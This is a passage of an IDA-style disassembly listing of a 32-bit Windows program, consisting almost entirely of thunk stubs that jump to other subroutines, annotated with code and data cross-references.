sub_40FF60+E71p ... jmp sub_40AEC0 sub_4013D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_404C70+8EFp ; sub_404C70+8F8p ... jmp sub_40A270 sub_4013D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013DE proc near ; CODE XREF: ___:0042200Ap jmp sub_422540 sub_4013DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: sub_404640+87p ; sub_40FF60+9B0p ... jmp sub_40A160 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: sub_426A60+12Ep jmp sub_419F50 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_41E660+35Dp ; sub_41E660+3CAp ... jmp sub_421BA0 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013F2 proc near ; CODE XREF: sub_418CA0+7p jmp sub_418FA0 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_4161C0+5Fp jmp sub_416790 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013FC proc near ; DATA XREF: ___:off_43E0C4o jmp sub_41B3D0 sub_4013FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401401 proc near ; CODE XREF: sub_4156C0+29p ; sub_4157E0+29p jmp sub_416280 sub_401401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401406 proc near ; CODE XREF: sub_413DA0+19Ap jmp sub_4157A0 sub_401406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40140B proc near ; CODE XREF: ___:0042EF0Fp ; ___:0042EF38p jmp sub_42F0B0 sub_40140B endp ; --------------------------------------------------------------------------- jmp loc_42CFC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401415 proc near ; CODE XREF: ___:00416DFFp jmp sub_417E50 sub_401415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141A proc near ; CODE XREF: sub_41B820:loc_41B82Fp ; sub_41B820+1Fp jmp sub_41B800 sub_40141A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; DATA XREF: sub_40AEC0+4o jmp sub_40AF90 sub_40141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401424 proc near ; CODE XREF: sub_4034E0+61p ; sub_403C90+1Dp ... jmp sub_409AE0 sub_401424 endp ; --------------------------------------------------------------------------- jmp loc_435E40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_418890+29p jmp sub_418B10 sub_40142E endp ; --------------------------------------------------------------------------- jmp loc_433080 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401438 proc near ; CODE XREF: ___:0043286Dp ; sub_4329F0+20p jmp sub_432B20 sub_401438 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40143D proc near ; CODE XREF: ___:00406BD3p ; ___:00416B58p ... jmp sub_406C00 sub_40143D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: sub_404640+370p ; sub_404640:loc_4049E5p ... jmp sub_404BE0 sub_401442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401447 proc near ; CODE XREF: sub_404C70+26Bp ; ___:0040F276p ... jmp sub_40E7A0 sub_401447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40144C proc near ; CODE XREF: sub_415960+5p jmp sub_416440 sub_40144C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_40B520+1Dp ; ___:0040B94Dp ... jmp sub_40BD20 sub_401451 endp ; --------------------------------------------------------------------------- jmp loc_40B5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_41E660+349p ; sub_421AF0+1Ap jmp sub_421B60 sub_40145B endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; CODE XREF: sub_4150F0+29p jmp sub_415BE0 sub_401465 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146A proc near ; CODE XREF: ___:00408A2Dp ; ___:00408A56p ... jmp sub_409450 sub_40146A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_404640+30p ; sub_404640+14Bp ... jmp sub_40A6C0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: sub_4192C0+1D8p ; sub_4192C0+1EFp jmp sub_419790 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_4126B0+F8p jmp sub_41BC90 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40147E proc near ; CODE XREF: sub_413B70+E1p jmp sub_4151D0 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_422A40+48p ; sub_422A40+213p ... jmp sub_425870 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401488 proc near ; CODE XREF: sub_41B4B0+2Ap ; sub_41B4B0+5Ap jmp sub_41A5B0 sub_401488 endp ; --------------------------------------------------------------------------- jmp loc_431100 ; --------------------------------------------------------------------------- jmp loc_42E8E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401497 proc near ; CODE XREF: sub_40ED70+EAp jmp sub_40EC30 sub_401497 endp ; --------------------------------------------------------------------------- jmp loc_40A6E0 ; --------------------------------------------------------------------------- loc_4014A1: ; DATA XREF: ___:off_43E078o jmp loc_40F140 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014A6 proc near ; CODE XREF: sub_40BD20+16p ; sub_40BD60+Bp ... jmp sub_40C0C0 sub_4014A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014AB proc near ; CODE XREF: sub_42B1D0+1Dp jmp sub_42B240 sub_4014AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B0 proc near ; CODE XREF: sub_41C610+4E7p ; sub_41C610+A75p ... jmp sub_41D5D0 sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014B5 proc near ; CODE XREF: sub_413220+48p ; ___:00439997j ... jmp sub_4156C0 sub_4014B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BA proc near jmp sub_40AE80 sub_4014BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BF proc near ; DATA XREF: ___:off_43E044o jmp sub_414D40 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near ; CODE XREF: ___:00426623p sub_426680j ... jmp sub_426560 sub_4014C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C9 proc near ; CODE XREF: sub_4034E0+115p ; sub_404640+1B8p ... jmp sub_409B80 sub_4014C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014CE proc near ; CODE XREF: sub_40AC70+7p jmp sub_40AD60 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_404B10+9p ; sub_404C70+45p ... jmp sub_40A740 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D8 proc near ; CODE XREF: sub_41E660+E1p ; sub_4218F0+1Ap jmp sub_421960 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_41A110+10p ; sub_41A2B0+47p ... jmp sub_41A500 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014E2 proc near ; CODE XREF: sub_4070B0+24p jmp sub_407290 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: ___:0042B0F5p jmp sub_42B1D0 sub_4014E7 endp ; --------------------------------------------------------------------------- jmp sub_427600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F1 proc near ; CODE XREF: ___:00416B1Bp ; ___:00439EB6j ... jmp sub_417540 sub_4014F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F6 proc near ; CODE XREF: sub_415B20+5Fp jmp sub_416510 sub_4014F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: sub_424800+Fp ; sub_424840+1CCp ... jmp sub_424760 sub_4014FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401500 proc near ; CODE XREF: sub_4282C0+117p ; sub_4282C0+1DCp ... jmp sub_409F90 sub_401500 endp ; --------------------------------------------------------------------------- jmp loc_4199B0 ; --------------------------------------------------------------------------- jmp loc_432C30 ; --------------------------------------------------------------------------- jmp loc_42EC00 ; --------------------------------------------------------------------------- jmp loc_42EB10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401519 proc near ; CODE XREF: sub_421F50+8p jmp sub_4223A0 sub_401519 endp ; --------------------------------------------------------------------------- jmp locret_419930 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_40CBB0+1E1p ; sub_40CF60+143p ... jmp sub_419970 sub_401523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401528 proc near ; CODE XREF: sub_418A70+3p jmp sub_418D00 sub_401528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40152D proc near ; DATA XREF: ___:0043E1B8o jmp sub_42B540 sub_40152D endp ; --------------------------------------------------------------------------- jmp loc_432580 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; CODE XREF: sub_40FF60+95p ; sub_411FE0+54Dp ... jmp sub_414210 sub_401537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40153C proc near ; CODE XREF: sub_40B520+Bp ; ___:0040B939p jmp sub_40BE20 sub_40153C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401541 proc near ; CODE XREF: sub_42F540+1Bp ; sub_431BE0+94p jmp sub_42F6B0 sub_401541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401546 proc near ; CODE XREF: sub_421ED0+7p jmp sub_422350 sub_401546 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40154B proc near ; CODE XREF: ___:0043285Fp ; sub_4329F0+Fp jmp sub_432B60 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401550 proc near ; CODE XREF: sub_418940+29p ; sub_418A20+29p jmp sub_418BC0 sub_401550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401555 proc near ; CODE XREF: sub_40B170+40p ; ___:00438B1Aj ... jmp sub_40BCB0 sub_401555 endp ; --------------------------------------------------------------------------- jmp loc_4303B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40155F proc near ; CODE XREF: sub_40BFF0+4p jmp sub_40C200 sub_40155F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401564 proc near ; CODE XREF: sub_407030+3Cp jmp sub_4071E0 sub_401564 endp ; --------------------------------------------------------------------------- jmp loc_41BC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40156E proc near ; CODE XREF: sub_415210+4Fp ; sub_415B20+11p ... jmp sub_415D70 sub_40156E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401573 proc near ; CODE XREF: ___:00416E8Ap jmp sub_418230 sub_401573 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401578 proc near ; CODE XREF: sub_413670+BEp ; sub_413670+FCp ... jmp sub_4150F0 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: ___:00416D9Fp jmp sub_417BC0 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401582 proc near ; CODE XREF: sub_412900+39p ; sub_412970+A9p jmp sub_412870 sub_401582 endp ; --------------------------------------------------------------------------- jmp loc_4310D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40158C proc near ; CODE XREF: sub_40A430+16Fp ; ___:00438A8Aj jmp sub_40A790 sub_40158C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401591 proc near ; CODE XREF: sub_403FC0+51p ; ___:00404064p ... jmp sub_4070B0 sub_401591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401596 proc near ; CODE XREF: ___:00408A4Ap ; ___:00408A73p ... jmp sub_40B680 sub_401596 endp ; --------------------------------------------------------------------------- jmp loc_431F90 ; --------------------------------------------------------------------------- jmp loc_41A180 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015A5 proc near ; CODE XREF: sub_415FC0+4p jmp sub_416610 sub_4015A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AA proc near ; CODE XREF: sub_409850+1Ap ; sub_4098A0+1Ap jmp sub_409910 sub_4015AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AF proc near ; DATA XREF: ___:0043E134o jmp sub_428040 sub_4015AF endp ; --------------------------------------------------------------------------- jmp loc_4328F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; CODE XREF: ___:004191A5p jmp sub_419200 sub_4015B9 endp ; --------------------------------------------------------------------------- jmp loc_4324C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: ___:0041D733p jmp sub_41D760 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_432200 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: sub_415340+5p jmp sub_415DA0 sub_4015CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D2 proc near ; CODE XREF: sub_4189B0+5p ; sub_418AB0+6p ... jmp sub_418CC0 sub_4015D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_404C70+953p ; ___:00406E5Cp ... jmp sub_409C80 sub_4015D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015DC proc near ; CODE XREF: ___:00416D5Fp jmp sub_406BA0 sub_4015DC endp ; --------------------------------------------------------------------------- jmp loc_424350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: ___:00415E2Ap jmp sub_416660 sub_4015E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015EB proc near ; CODE XREF: sub_41EF30+1C7p jmp sub_420CD0 sub_4015EB endp ; --------------------------------------------------------------------------- loc_4015F0: ; DATA XREF: ___:0043E1C0o jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_427FF0+3p jmp sub_428020 sub_4015F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015FA proc near ; CODE XREF: sub_404C70+E94p ; sub_40D580+120p ... jmp sub_41FF90 sub_4015FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_4314C0+20p ; sub_4314C0+32p jmp sub_433670 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401604 proc near ; CODE XREF: ___:00431435p jmp sub_42FF30 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401609 proc near jmp sub_425980 sub_401609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40160E proc near ; CODE XREF: sub_4163E0+8p jmp sub_4167B0 sub_40160E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401613 proc near ; DATA XREF: ___:off_43E0ACo jmp sub_41E660 sub_401613 endp ; --------------------------------------------------------------------------- jmp loc_41AAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; CODE XREF: sub_40AEA0p ___:004300F2p jmp sub_431300 sub_40161D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401622 proc near ; CODE XREF: sub_4070F0+1Ap ; sub_418890+1Ap jmp sub_407220 sub_401622 endp ; --------------------------------------------------------------------------- jmp loc_416C90 ; --------------------------------------------------------------------------- jmp loc_42F070 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401631 proc near ; CODE XREF: sub_422240+5Fp jmp sub_4225E0 sub_401631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401636 proc near ; CODE XREF: ___:0041A20Ap jmp sub_41B060 sub_401636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_4314C0:loc_4314FEp jmp sub_431560 sub_40163B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401640 proc near ; CODE XREF: sub_432E60+12p ; sub_4335B0+51p jmp sub_430520 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: ___:00416DAFp jmp sub_417C60 sub_401645 endp ; --------------------------------------------------------------------------- jmp loc_4301F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: sub_40A850+8p jmp sub_40A8A0 sub_40164F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401654 proc near ; CODE XREF: ___:00412F4Ep jmp sub_4130E0 sub_401654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401659 proc near ; CODE XREF: sub_42FAA0+ADp ; ___:004322B0p ... jmp sub_42F4F0 sub_401659 endp ; --------------------------------------------------------------------------- db 0E9h ; И db 5Dh ; ] db 0A1h ; ║ db 2 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401663 proc near ; CODE XREF: sub_42B880+15Ep jmp sub_42B480 sub_401663 endp ; --------------------------------------------------------------------------- jmp loc_406850 ; --------------------------------------------------------------------------- jmp loc_42E350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401672 proc near ; CODE XREF: ___:004073CAp jmp sub_407570 sub_401672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401677 proc near ; CODE XREF: sub_422650+3Cp jmp sub_422790 sub_401677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; DATA XREF: ___:0043E0C8o jmp sub_41B4B0 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_4034E0+BBp ; ___:00406ECDp ... jmp sub_4036B0 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; CODE XREF: ___:0042EDB0p ; ___:0042EE2Ep ... jmp sub_432D80 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: sub_409490+10p jmp sub_409530 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: sub_40A430+4Ap jmp sub_40A760 sub_401690 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401695 proc near ; CODE XREF: ___:00416DCFp jmp sub_40F600 sub_401695 endp ; --------------------------------------------------------------------------- jmp loc_4320E0 ; --------------------------------------------------------------------------- jmp loc_42E650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A4 proc near ; CODE XREF: sub_40BEC0+9p ; sub_40C120+18p jmp sub_40C2A0 sub_4016A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A9 proc near ; CODE XREF: sub_41D830+283p jmp sub_42E880 sub_4016A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_4034E0+CCp ; sub_404640+EDp ... jmp sub_40A630 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: ___:00416DEFp jmp sub_417E20 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_4245F0+7Ep ; sub_4245F0+92p ... jmp sub_4244C0 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: sub_4126B0+E0p ; sub_4137E0+CEp ... jmp sub_409E70 sub_4016BD endp ; --------------------------------------------------------------------------- jmp loc_42E130 ; --------------------------------------------------------------------------- jmp loc_42E8B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016CC proc near ; CODE XREF: ___:00415099p jmp sub_4159D0 sub_4016CC endp ; --------------------------------------------------------------------------- loc_4016D1: ; DATA XREF: ___:off_43E0ECo jmp loc_426620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: sub_409600+58p ; sub_409600+82p ... jmp sub_409850 sub_4016D6 endp ; --------------------------------------------------------------------------- jmp sub_426F20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016E0 proc near ; CODE XREF: sub_41E660+2B2p jmp sub_421AB0 sub_4016E0 endp ; --------------------------------------------------------------------------- jmp loc_41AE50 ; --------------------------------------------------------------------------- jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016EF proc near ; CODE XREF: sub_40A850+10p jmp sub_40A8C0 sub_4016EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016F4 proc near jmp sub_4351E0 sub_4016F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_418330+7Bp ; sub_418330+C5p ... jmp sub_418AE0 sub_4016F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016FE proc near ; CODE XREF: sub_4147D0+FCp jmp sub_4149A0 sub_4016FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_41E660+D1p jmp sub_421A10 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_40AE80p ; ___:loc_4300D5p jmp sub_431280 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; CODE XREF: sub_409600+91p ; sub_412BC0+Dp jmp sub_4097D0 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; DATA XREF: ___:off_43E0A8o jmp sub_40C400 sub_401712 endp ; --------------------------------------------------------------------------- jmp loc_40ADE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40171C proc near ; CODE XREF: sub_4139B0+4Ep jmp sub_415070 sub_40171C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401721 proc near ; CODE XREF: sub_40F600+13Dp jmp sub_412B90 sub_401721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401726 proc near ; CODE XREF: ___:0040F1C0p jmp sub_40E220 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: ___:004150C1p jmp sub_415AA0 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: sub_427650+98p jmp sub_4277C0 sub_401730 endp ; --------------------------------------------------------------------------- jmp loc_425410 ; --------------------------------------------------------------------------- jmp loc_41AEF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173F proc near ; CODE XREF: sub_4070F0+48p ; sub_4070F0:loc_407175p jmp sub_4072F0 sub_40173F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401744 proc near ; CODE XREF: sub_40AE10+2Cp ; sub_418330+8Fp ... jmp sub_40AF40 sub_401744 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_4036D0+2A5p ; sub_4036D0+2B5p ... jmp sub_403D90 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_42A5F0+7Fp ; sub_42A810+318p jmp sub_42A400 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_415990+16p ; sub_4159D0+Bp ... jmp sub_416530 sub_401753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401758 proc near ; CODE XREF: sub_40AF40+10p ; ___:0042F2C1p ... jmp sub_430180 sub_401758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: ___:0040AF14p jmp sub_4335B0 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; CODE XREF: sub_418D80+5Fp jmp sub_419010 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401767 proc near ; CODE XREF: ___:0041886Cp jmp sub_418490 sub_401767 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40176C proc near ; CODE XREF: ___:00416A1Bp ; ___:00416CE3p ... jmp sub_416CC0 sub_40176C endp ; --------------------------------------------------------------------------- jmp loc_420DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: ___:00416DBFp jmp sub_417D30 sub_401776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40177B proc near ; CODE XREF: sub_42F840+5Dp ; sub_430810+2Cp ... jmp sub_430FE0 sub_40177B endp ; --------------------------------------------------------------------------- jmp loc_42E2A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: ___:00426080p jmp sub_427590 sub_401785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178A proc near ; CODE XREF: ___:00425467p jmp sub_425270 sub_40178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: ___:00416E9Ap jmp sub_418260 sub_40178F endp ; --------------------------------------------------------------------------- jmp loc_431F10 ; --------------------------------------------------------------------------- jmp loc_42EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40179E proc near ; CODE XREF: ___:00427FC3p sub_428020j ... jmp sub_427EF0 sub_40179E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A3 proc near ; CODE XREF: ___:00416ACBp ; ___:00416C93p ... jmp sub_416C60 sub_4017A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; DATA XREF: ___:off_43E17Co jmp sub_42A100 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: sub_42FF50+D7p jmp sub_431730 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; CODE XREF: sub_40AE80+5j ; ___:loc_4300DDp jmp sub_431380 sub_4017B2 endp ; --------------------------------------------------------------------------- jmp loc_430130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: sub_4253E0+10p ; sub_4254E0+3Dp jmp sub_4254B0 sub_4017BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C1 proc near ; CODE XREF: sub_40AEA0+5j ; ___:loc_4300E5p ... jmp sub_4313A0 sub_4017C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; DATA XREF: ___:off_43E000o jmp sub_404C70 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_424800+1Ep ; sub_424840+A6p ... jmp sub_424790 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; CODE XREF: ___:00416A8Bp ; ___:00439F34j ... jmp sub_417960 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_416120+11p ; ___:00416147p ... jmp sub_4166F0 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: sub_415910+3p ; ___:0041616Fp ... jmp sub_4163A0 sub_4017DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017DF proc near ; CODE XREF: sub_415520+5Ep ; sub_415F30+32p jmp sub_415E70 sub_4017DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_4034E0+DBp ; sub_403FC0+3Fp ... jmp sub_40A720 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E9 proc near ; CODE XREF: ___:00421DAAp jmp sub_422370 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017EE proc near jmp 